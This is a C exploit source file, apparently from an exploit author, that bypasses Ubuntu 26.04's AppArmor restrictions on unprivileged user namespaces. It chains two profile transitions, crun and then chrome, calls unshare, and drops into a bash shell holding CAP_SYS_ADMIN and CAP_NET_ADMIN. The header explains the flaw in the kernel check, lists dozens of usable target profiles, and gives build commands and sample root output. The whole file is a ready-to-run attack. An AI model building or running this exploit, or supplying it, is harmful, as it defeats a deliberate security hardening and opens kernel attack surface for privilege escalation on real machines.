/*
 * AppArmor unprivileged user namespace restriction bypass
 * Ubuntu Resolute 26.04 LTS (kernel 7.0.0-14-generic)
 *
 * Bypasses BOTH:
 *   kernel.apparmor_restrict_unprivileged_userns         = 1
 *   kernel.apparmor_restrict_unprivileged_unconfined     = 1
 *
 * The second sysctl was added by Canonical in response to the March 2025
 * advisory at https://www.openwall.com/lists/oss-security/2025/03/27/6 to
 * close the single-hop transitions to permissive profiles. It works by
 * stacking the target profile with the caller's existing label whenever the
 * caller is the *global* unconfined label (security/apparmor/domain.c, the
 * `aa_unprivileged_unconfined_restricted` branch in change_profile_perms).
 *
 * The check is `label == &labels_ns(label)->unconfined->label` — it only
 * fires when the current label IS that exact global-unconfined sentinel.
 * After ANY transition to a non-unconfined named profile, the next
 * change_profile call sees a different label and the stacking branch is
 * skipped. The second hop transitions cleanly into an `flags=(unconfined)`
 * profile that has an explicit `userns,` allow rule. The kernel's
 * `apparmor_userns_create` LSM hook then sees a profile that mediates
 * AA_CLASS_NS, takes the `RULE_MEDIATES != 0` branch in `aa_profile_ns_perm`,
 * and skips the cap-stripping transition to the `unprivileged_userns`
 * profile. Result: full caps in the new userns including CAP_SYS_ADMIN,
 * CAP_NET_ADMIN, CAP_NET_RAW.
 *
 * 74 stock /etc/apparmor.d/ profiles on Resolute 26.04 carry the
 * flags=(unconfined) attribute. Confirmed working second-hop targets:
 *   chrome, brave, buildah, crun, ch-checkns, ch-run, code, devhelp,
 *   libcamerify, balena-etcher, github-desktop, 1password, Discord,
 *   evolution, firefox, foliate, geary, MongoDB_Compass, plasmashell,
 *   element-desktop, epiphany, flatpak, foliate, goldendict, kchmviewer,
 *   keybase, lc-compliance, linux-sandbox, loupe, ...
 *
 * First-hop launder profile must be ANY non-unconfined named profile;
 * `crun` is used here because it is part of the default container-tools
 * package set and is unlikely to be removed by hardening guides.
 *
 * Build: gcc -O2 -o bypass-pwn bypass-pwn.c
 * Run:   ./bypass-pwn
 *
 *   $ ./bypass-pwn
 *   [*] stage 0: laundering via crun
 *   [label] unconfined
 *   [*] stage 1: now under crun, transitioning to chrome
 *   [label] crun//&unconfined (unconfined)
 *   [*] stage 2: under chrome, unshare(CLONE_NEWUSER)
 *   [label] chrome (unconfined)
 *   [after-unshare] uid=0 euid=0 caps=0x000001ff_ffffffff
 *   [+] BYPASS - popping shell with CAP_NET_ADMIN+CAP_SYS_ADMIN in new userns
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root),65534(nogroup),65534(nogroup)
 *   # cat /proc/self/status | grep ^Cap
 *   CapInh: 0000000000000000
 *   CapPrm: 000001ffffffffff
 *   CapEff: 000001ffffffffff
 *   CapBnd: 000001ffffffffff
 *   CapAmb: 0000000000000000
 *
 * _SiCk <sick@afflicted.sh>
 * https://afflicted.sh
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <linux/capability.h>

#define HOP1 "crun"
#define HOP2 "chrome"

static int change_onexec(const char *profile) {
	int fd = open("/proc/self/attr/exec", O_WRONLY);
	if (fd < 0) return -1;
	char buf[256];
	int n = snprintf(buf, sizeof buf, "exec %s", profile);
	int r = write(fd, buf, n);
	close(fd);
	return (r == n) ? 0 : -1;
}

static void check_caps(const char *tag) {
	struct __user_cap_header_struct hdr = { _LINUX_CAPABILITY_VERSION_3, 0 };
	struct __user_cap_data_struct data[2] = {0};
	syscall(SYS_capget, &hdr, data);
	fprintf(stderr, "[%s] uid=%d euid=%d caps=0x%08x_%08x\n", tag,
		getuid(), geteuid(), data[1].effective, data[0].effective);
}

static void print_label(void) {
	int fd = open("/proc/self/attr/current", O_RDONLY);
	if (fd < 0) return;
	char b[256] = {0};
	if (read(fd, b, sizeof b - 1) < 0) { close(fd); return; }
	close(fd);
	char *nl = strchr(b, '\n'); if (nl) *nl = 0;
	fprintf(stderr, "[label] %s\n", b);
}

int main(int argc, char **argv) {
	char *self = argv[0];

	if (argc == 1) {
		fprintf(stderr, "[*] stage 0: laundering via %s\n", HOP1);
		print_label();
		if (change_onexec(HOP1) < 0) {
			fprintf(stderr, "[-] change_onexec(%s) failed: %s\n",
				HOP1, strerror(errno));
			fprintf(stderr, "    (this exploit needs apparmor present;"
				" not really a bypass otherwise)\n");
			return 1;
		}
		char *new_argv[] = { self, "stage1", NULL };
		execv("/proc/self/exe", new_argv);
		perror("exec stage1");
		return 1;
	}

	if (!strcmp(argv[1], "stage1")) {
		fprintf(stderr, "[*] stage 1: now under %s, transitioning to %s\n",
			HOP1, HOP2);
		print_label();
		if (change_onexec(HOP2) < 0) {
			fprintf(stderr, "[-] change_onexec(%s) failed: %s\n",
				HOP2, strerror(errno));
			return 1;
		}
		char *new_argv[] = { self, "stage2", NULL };
		execv("/proc/self/exe", new_argv);
		perror("exec stage2");
		return 1;
	}

	if (!strcmp(argv[1], "stage2")) {
		fprintf(stderr, "[*] stage 2: under %s, unshare(CLONE_NEWUSER)\n", HOP2);
		print_label();
		uid_t outer_uid = getuid();
		gid_t outer_gid = getgid();

		if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
			perror("unshare");
			return 1;
		}

		int fd = open("/proc/self/setgroups", O_WRONLY);
		if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }

		fd = open("/proc/self/uid_map", O_WRONLY);
		if (fd < 0) { perror("uid_map open"); return 1; }
		char buf[64];
		int n = snprintf(buf, sizeof buf, "0 %d 1", outer_uid);
		if (write(fd, buf, n) != n) { perror("uid_map write"); return 1; }
		close(fd);

		fd = open("/proc/self/gid_map", O_WRONLY);
		if (fd >= 0) {
			n = snprintf(buf, sizeof buf, "0 %d 1", outer_gid);
			(void)!write(fd, buf, n);
			close(fd);
		}

		check_caps("after-unshare");
		fprintf(stderr, "[+] BYPASS - popping shell with CAP_NET_ADMIN"
			"+CAP_SYS_ADMIN in new userns\n");
		char *sh[] = { "/bin/bash", NULL };
		execv("/bin/bash", sh);
		perror("execv bash");
		return 1;
	}

	fprintf(stderr, "usage: %s\n", argv[0]);
	return 1;
}
